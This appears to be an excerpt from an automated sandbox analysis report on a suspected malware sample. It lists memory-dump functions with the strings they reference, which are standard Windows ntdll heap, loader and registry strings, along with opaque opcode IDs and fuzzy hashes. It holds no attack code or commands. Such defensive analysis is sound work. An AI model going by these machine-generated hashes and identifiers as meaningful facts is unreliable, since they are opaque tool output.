                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Leaked Block 0x%p size 0x%p (stack %p depth %u)$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 0-964947082
                                                          • Opcode ID: 83b71d05972e07b69069a96769055ea2933f31c65c007a035ba8bc36c76156dc
                                                          • Instruction ID: 4637a593ec85e652a4540f4fa3e5114af363b5c3dea72c7422895c904a19d95f
                                                          • Opcode Fuzzy Hash: 83b71d05972e07b69069a96769055ea2933f31c65c007a035ba8bc36c76156dc
                                                          • Instruction Fuzzy Hash: 3C41D0B6600259EFE750EF54D880F7A3FA8EB04300F48485EEA15ABB51CE30CA46CB94
                                                          Function 34EC33A0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • SXS: %s() passed the empty activation context data, xrefs: 34F029FE
                                                          • Actx , xrefs: 34EC33AC
                                                          • RtlCreateActivationContext, xrefs: 34F029F9
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
                                                          • API String ID: 0-859632880
                                                          • Opcode ID: 806ef797eee8388a5f0db21c71485323e3d225a1ee41e97d028e6efe43e69999
                                                          • Instruction ID: 511ed32c492c6cc6c23abd1cfb5a91d62f25e62288e3a990f3a2b1a28f192c1f
                                                          • Opcode Fuzzy Hash: 806ef797eee8388a5f0db21c71485323e3d225a1ee41e97d028e6efe43e69999
                                                          • Instruction Fuzzy Hash: E831D032610305DFEB26CF98D8D0F9A77A9FB84764F558869E9049F281DB34DC46CBA0
                                                          Function 34F1B594 Relevance: 3.9, Strings: 3, Instructions: 107COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 34F1B632
                                                          • GlobalFlag, xrefs: 34F1B68F
                                                          • @, xrefs: 34F1B670
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
                                                          • API String ID: 0-4192008846
                                                          • Opcode ID: 80ed9bf4ddfded0e8b6384f5a0adb367b688ba0056a2faeb9db1b1e9244ad335
                                                          • Instruction ID: 271490fdaa96a13e0b759f743b7142dc20cf54c3aff51c69b6e6434ad0981535
                                                          • Opcode Fuzzy Hash: 80ed9bf4ddfded0e8b6384f5a0adb367b688ba0056a2faeb9db1b1e9244ad335
                                                          • Instruction Fuzzy Hash: 25315DB5D00209EFEB10DFA4DC90AEEBBB8EF44744F5448A9E605A7190D7749E05CBA4
                                                          Function 34F313B9 Relevance: 3.9, Strings: 3, Instructions: 101COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$OsBootstatPath$\REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Control
                                                          • API String ID: 0-1050206962
                                                          • Opcode ID: 8bea0eb042753f263eee623c38789d2baa445d6b145bf1be52dbf8f42320a94e
                                                          • Instruction ID: 67ae2b00984eba4af58d96cbb52dc6967f90bf120adb6ac986ac1ca29d3daee1
                                                          • Opcode Fuzzy Hash: 8bea0eb042753f263eee623c38789d2baa445d6b145bf1be52dbf8f42320a94e
                                                          • Instruction Fuzzy Hash: 133198B2D11219FFEB11DF94CD80EAFBBBDEB05754F454469EA04A7210D7349D068BA0
                                                          Function 34EC1607 Relevance: 3.8, Strings: 3, Instructions: 98COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • minkernel\ntdll\ldrtls.c, xrefs: 34F01A51
                                                          • DLL "%wZ" has TLS information at %p, xrefs: 34F01A40
                                                          • LdrpInitializeTls, xrefs: 34F01A47
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: DLL "%wZ" has TLS information at %p$LdrpInitializeTls$minkernel\ntdll\ldrtls.c
                                                          • API String ID: 0-931879808
                                                          • Opcode ID: 4da64ba52f2a1b5e5b55b30ad445ee66b7716e0a0d8e113436deec72cad0dbd4
                                                          • Instruction ID: 4e5a7853cd2fa4e709a79b6d2de4d3cd3d513be5492b5cdcc25dc97ae33bc007
                                                          • Opcode Fuzzy Hash: 4da64ba52f2a1b5e5b55b30ad445ee66b7716e0a0d8e113436deec72cad0dbd4
                                                          • Instruction Fuzzy Hash: C731C27AA10300EFF7508B54CA45FBAB6A8EB55794F090959E904BB190DB70ED428FA4
                                                          Function 34E874B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 117timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: RtlValidateHeap
                                                          • API String ID: 3446177414-1797218451
                                                          • Opcode ID: a326df3ea136d51bd77c7068f4aa55368ca759d308ca1a0aca446de4501f8f5c
                                                          • Instruction ID: 3c154ef45b853c58bddd67417e3549f9248be7a9adfc0ac2ea96e9f4663c61b3
                                                          • Opcode Fuzzy Hash: a326df3ea136d51bd77c7068f4aa55368ca759d308ca1a0aca446de4501f8f5c
                                                          • Instruction Fuzzy Hash: 4E41D276A04355DFEF01CFA4C8907BEBBA2FF41A58F08865DD8556B290CB349981EB90
                                                          Function 34F3705E Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: kLsE
                                                          • API String ID: 3446177414-3058123920
                                                          • Opcode ID: 06b621a7765175d6e095dc9f302aa9886230e35189845c75c520dae60f454417
                                                          • Instruction ID: 9370d20f069a947bd53a0d5cc6210c94ee87b230854bfb66152566de43fca7da
                                                          • Opcode Fuzzy Hash: 06b621a7765175d6e095dc9f302aa9886230e35189845c75c520dae60f454417
                                                          • Instruction Fuzzy Hash: E14127B25023498BF711AB60E984BB93BD0EB40768F1C495DEC50AE1E1DB744887CBE9
                                                          Function 34EA52A0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$@
                                                          • API String ID: 0-149943524
                                                          • Opcode ID: 20b31026d2c76252437473ce8ddbb1053bca5d1243b8a395996fa4fc86c4e802
                                                          • Instruction ID: 217e0cd2eeee8a5d272d51fc32f6ac5b5044bcc4b93a749bb7c4918685c2c76f
                                                          • Opcode Fuzzy Hash: 20b31026d2c76252437473ce8ddbb1053bca5d1243b8a395996fa4fc86c4e802
                                                          • Instruction Fuzzy Hash: 5432ACB86083118FE754CF24C880B2EB7F5EF85788F55492EF8A59B2A0E735C945CB52
                                                          Function 34E95702 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: 5dc4eae28d86cb87c3f9f9d3c0b716969737fee3a47a4e7a04b85833b07ce313
                                                          • Instruction ID: f37cace5eb79fd095bb9764750e767d7f670ee2f9a4ca4e3ac51b472f7045809
                                                          • Opcode Fuzzy Hash: 5dc4eae28d86cb87c3f9f9d3c0b716969737fee3a47a4e7a04b85833b07ce313
                                                          • Instruction Fuzzy Hash: E831CE36311B02FFE7818F60CA80AD9F7A9FF44758F405025E91197A90DB78E921CBD0
                                                          Function 34EC5CC0 Relevance: 2.7, Strings: 2, Instructions: 241COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: @$TargetPath
                                                          • API String ID: 0-4164548946
                                                          • Opcode ID: e757061e67c8062b8955ccaf433327f30229f7f253de5b61be213a03eaa0c5c9
                                                          • Instruction ID: ca8bf44b33e52db1a3bf503b9cc1f480f2e6245284afff6d1ce46c1e25376247
                                                          • Opcode Fuzzy Hash: e757061e67c8062b8955ccaf433327f30229f7f253de5b61be213a03eaa0c5c9
                                                          • Instruction Fuzzy Hash: 7C81FF769047169FE710CF18C884A5BBBA9FF85758F498A2EFC549B210D730DC4ACB92
                                                          Function 34F1BC10 Relevance: 2.7, Strings: 2, Instructions: 234COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: \REGISTRY\USER\$\Software\Microsoft\Windows
                                                          • API String ID: 0-4122831824
                                                          • Opcode ID: 881a7cdea1fef7a1380c2446bff1ee0569f9a4ea9c8a477a61b675c02ad4d019
                                                          • Instruction ID: edccff17cb7d8dd6b27d50c847f83a654cf7c92ca5bd7967aedd16dac4f14b6d
                                                          • Opcode Fuzzy Hash: 881a7cdea1fef7a1380c2446bff1ee0569f9a4ea9c8a477a61b675c02ad4d019
                                                          • Instruction Fuzzy Hash: 0B917D76114741DFD710CF28C880BABB7E5EB88364F180E2DE5A5CB290EB34D946CB92
                                                          Function 34F25DA0 Relevance: 2.7, Strings: 2, Instructions: 201COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Log$RXACT
                                                          • API String ID: 0-2401810139
                                                          • Opcode ID: 6b343de11b124e6582a5fce263407198e5a1ec31d944fe6c7f1326378bd30955
                                                          • Instruction ID: 5844536c54f43a38b7f39efb544dcaa4ef2c41edf3305b19daca39207926dc89
                                                          • Opcode Fuzzy Hash: 6b343de11b124e6582a5fce263407198e5a1ec31d944fe6c7f1326378bd30955
                                                          • Instruction Fuzzy Hash: E07145B6518345EFE351CF54C880E6BBBECFF89254F04492EF58496260DB71DD0A8BA2
                                                          Function 34EAF720 Relevance: 2.7, Strings: 2, Instructions: 159COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: $$$
                                                          • API String ID: 3446177414-233714265
                                                          • Opcode ID: c59c51d514736ef6eae3bc2c9df985da16ff39a5785ee68dc842335d9db51e77
                                                          • Instruction ID: 4bcfc5b85b211ad2aa2a219ff0703627b08bf6ebb73c534cfde823575b38c2ce
                                                          • Opcode Fuzzy Hash: c59c51d514736ef6eae3bc2c9df985da16ff39a5785ee68dc842335d9db51e77
                                                          • Instruction Fuzzy Hash: 8861A976A14749DFEB20CFA4C580BADB7F2FF44708F144469E545AF680DB34A942CB91
                                                          Function 34F235BA Relevance: 2.6, Strings: 2, Instructions: 99COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
                                                          • API String ID: 0-118005554
                                                          • Opcode ID: ec084bc583a0ebf5b89f1b9adafdd278526f6f3b25066431d28b0cd65633389d
                                                          • Instruction ID: 4d5ba2d5a73795cb599311e502f828dc6e6ed1645768e62be436d681073131c3
                                                          • Opcode Fuzzy Hash: ec084bc583a0ebf5b89f1b9adafdd278526f6f3b25066431d28b0cd65633389d
                                                          • Instruction Fuzzy Hash: 3D319DBA218741DFE311CB64D444B1ABBE8EF85750F090869B854CB390EA74DA06CB52
                                                          Function 34EC329E Relevance: 2.6, Strings: 2, Instructions: 93COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: .Local\$@
                                                          • API String ID: 0-380025441
                                                          • Opcode ID: a754efaf98c8c121c7464c3046ce1568bcd7e15584b7ff62fd52742f40507e58
                                                          • Instruction ID: 4afff18ae203bdca369e9eb10d79428c6767606572c0a3818161957bba44448d
                                                          • Opcode Fuzzy Hash: a754efaf98c8c121c7464c3046ce1568bcd7e15584b7ff62fd52742f40507e58
                                                          • Instruction Fuzzy Hash: 47315276508705DFE311CF28C980A6FBBE8FB85654F44092EF9A487250DA35DD05CBD2
                                                          Function 34EC34B0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 34F02A95
                                                          • RtlpInitializeAssemblyStorageMap, xrefs: 34F02A90
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
                                                          • API String ID: 0-2653619699
                                                          • Opcode ID: 00c369ef10e3359cde69f9535983406d3610f9b02fcf0a45e97e26b8ff196197
                                                          • Instruction ID: a3fe10c8d9c76c748d5a3eb9bdf7c309a81da1e7ea33493e5b62e22e92fa303a
                                                          • Opcode Fuzzy Hash: 00c369ef10e3359cde69f9535983406d3610f9b02fcf0a45e97e26b8ff196197
                                                          • Instruction Fuzzy Hash: 9D11E976B00214FFF7258B888E81F5B76ADABD4B94F19C06DB904EB240DA74CD019BA0
                                                          Function 34E91131 Relevance: 1.8, APIs: 1, Instructions: 259timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: 044257cb6dc4f5e8393995605c5774a9d424f1a74c87d5238bac15d7b9c57e7a
                                                          • Instruction ID: ba1ff8b385f8a2c4b90b238655189c7b5a201db573a922ef8d8e9c5ce15c642e
                                                          • Opcode Fuzzy Hash: 044257cb6dc4f5e8393995605c5774a9d424f1a74c87d5238bac15d7b9c57e7a
                                                          • Instruction Fuzzy Hash: 99B114B56083409FE354CF28C480A6AFBF1BB88344F544A6EF899DB351D735E985CB42
                                                          Function 34E97370 Relevance: 1.7, APIs: 1, Instructions: 247COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 49a4dc6de4c3404140e189da2b9a713def6d520fe722479f8cf676f65e8df3c5
                                                          • Instruction ID: 0f1585103b8734f80d628fdcbc510432019f457272e2f517882fa7be196819ea
                                                          • Opcode Fuzzy Hash: 49a4dc6de4c3404140e189da2b9a713def6d520fe722479f8cf676f65e8df3c5
                                                          • Instruction Fuzzy Hash: 59A16B75A08345CFE310CF28C480A5AFBE5FF88748F15496DE5859B391EB34E949CB92
                                                          Function 34E97703 Relevance: 1.7, APIs: 1, Instructions: 179COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 7fcef16c3b7b7e247400bea4a661672fe6c9365b19b4367bb4769eb644f738b9
                                                          • Instruction ID: 0ccfe3f95ff3f5456728d3edead3a94ca2f7a13b70446f844d3169072088c042
                                                          • Opcode Fuzzy Hash: 7fcef16c3b7b7e247400bea4a661672fe6c9365b19b4367bb4769eb644f738b9
                                                          • Instruction Fuzzy Hash: 30615D75A00616EFEB18CF68C480AADFBF5BF88344F14856AD819A7340DB34A955DBD0
                                                          Function 34ECF603 Relevance: 1.6, APIs: 1, Instructions: 121COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: ead35aae80f23e958f5f0f83e0d2789c14c180133f1df3df9c909888d62e8c9c
                                                          • Instruction ID: 3254b2e8c2e2048e8bdfb626c1981a19c2a8bee68351042d3dcf5d98d02568ff
                                                          • Opcode Fuzzy Hash: ead35aae80f23e958f5f0f83e0d2789c14c180133f1df3df9c909888d62e8c9c
                                                          • Instruction Fuzzy Hash: CC4137B4D00288DFEB10CFA9C980AAEFBF4FF48344F54456EE459AB265C73199058FA4
                                                          Function 34E8B480 Relevance: 1.6, APIs: 1, Instructions: 100timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: fa6b195d28fc4e6987da7b78fdc0ef7d11fb6a42632316c72f21212da9bbfe96
                                                          • Instruction ID: 88ab5ee005fcfbe594cea96171f3290eb38b695d6e4211f936d277efd152a26f
                                                          • Opcode Fuzzy Hash: fa6b195d28fc4e6987da7b78fdc0ef7d11fb6a42632316c72f21212da9bbfe96
                                                          • Instruction Fuzzy Hash: 2D312472A00204EFDB11CF14C840A6A77AAFF45B64F544269FD689F2A1DB31ED42CBD0
                                                          Function 34E957C0 Relevance: 1.6, APIs: 1, Instructions: 92timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 34E60000, based on PE: true
                                                          • Associated: 00000004.00000002.2379748407.0000000034F89000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034F8D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34e60000_Anfrage244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
